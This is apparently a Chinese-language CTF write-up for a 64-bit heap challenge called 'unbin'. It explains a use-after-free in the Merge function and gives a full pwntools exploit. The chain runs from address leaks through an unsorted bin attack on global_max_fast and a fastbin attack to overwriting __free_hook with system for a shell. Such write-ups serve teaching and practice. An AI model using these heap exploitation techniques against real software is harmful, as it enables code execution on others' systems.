## 题目考点

题目考察选手在64系统中，逆向发现堆UAF漏洞并利用的能力。同时考察选手对通过unsortedbin attack 攻击 global max fast 的利用方法的掌握程度。

## 题解

### 漏洞

程序保护全开。但是在List的功能中，可以直接泄露程序基地址。

1

核心漏洞点在Merge函数中，在程序读入了from index与 to index后，完成一个合并的操作，然后将from index指向的那个堆内存free。那么如果merge时输入的2个index相同，在完成合并后那块内容指向的chunk将被free，但是我们依然可以读写那块chunk，造成use after free。

2

### 利用

利用思路如下：

1. 利用List函数泄露程序基地址。
2. 利用Merge函数的UAF来泄漏libc地址。
3. 利用unsorted\_bin\_attack来修改全局变量 global\_max\_fast。
4. 利用 fastbin attack 来申请到 bss段的伪chunk。
5. 然后利用伪chunk覆写notes数组，从而泄露随机数random。
6. 之后将free\_hook的地址和random进行异或之后，写入notes数组。
7. 修改指向free\_hook地址的那个notes，从而把system地址写入free\_hook。
8. 通过删除内容写有'/bin/sh' 的chunk，来触发system，从而get shell。

具体详见exp。

```python from pwn import \*

# context.log\_level = 'debug'

io = process('./unbin') libc = ELF('/lib/x86\_64-linux-gnu/libc.so.6')

def Menu(cmd): io.recvuntil('Choice >>') io.sendline(str(cmd))

def Insert(data): Menu(1) io.recvuntil('size:') io.sendline(str(len(data))) io.recvuntil('data:') io.send(data)

def View(idx): Menu(2) io.recvuntil('index:') io.sendline(str(idx))

def List(): Menu(3)

def Delete(idx): Menu(4) io.recvuntil('index:') io.sendline(str(idx))

def Merge(idx1, idx2): Menu(5) io.recvuntil('from note:') io.sendline(str(idx1)) io.recvuntil('to note:') io.sendline(str(idx1))

def Update(idx, data): Menu(6) io.recvuntil('index:') io.sendline(str(idx)) io.recvuntil('size:') io.sendline(str(len(data))) io.recvuntil('data:') io.send(data)

Insert('A'*8) Insert('/bin/sh\x00') Insert('B'*8) Insert('D'*8) Insert('E'*0x91)

List() io.recvuntil('0x') content = io.recvuntil(' ')[:-2] binary\_base = int(content, 16) - 0x203060 log.info('binary\_base = ' + hex(binary\_base))

Delete(0) Merge(2, 2)

View(0) io.recvuntil('Note.0 :')

heap\_base = u64(io.recvn(8)) log.info('heap\_base = ' + hex(heap\_base))

bins\_addr = u64(io.recvn(8)) libc\_base = bins\_addr - 0x3c4b78 log.info('libc\_base = ' + hex(libc\_base))

global\_max\_fast\_addr = libc\_base + 0x3c67f8 log.info('global\_max\_fast\_addr = ' + hex(global\_max\_fast\_addr))

Update(0, '\x00'\*8 + p64(global\_max\_fast\_addr - 0x10))

Insert('A'*8) Insert('B'*8)

Merge(5, 5)

notes\_addr = binary\_base + 0x203060 Update('6', p64(notes\_addr + 4*(3*8)))

Insert('C'*8) Insert('D'*8\*10)

View('7') io.recvuntil('Note.7 :') io.recvn(0x48) ptr = u64(io.recvn(8)) random = ptr ^ (notes\_addr + 4*(3*8) + 0x10) log.info('random = ' + hex(random))

free\_hook\_addr = libc\_base + libc.symbols['\_\_free\_hook'] system\_addr = libc\_base + libc.symbols['system']

payload = '' payload += 'A'\*8 payload += p64(1) + p64(8) payload += p64(free\_hook\_addr ^ random) Update('7', payload)

Update('5', p64(system\_addr)) Delete('1')

io.interactive() ```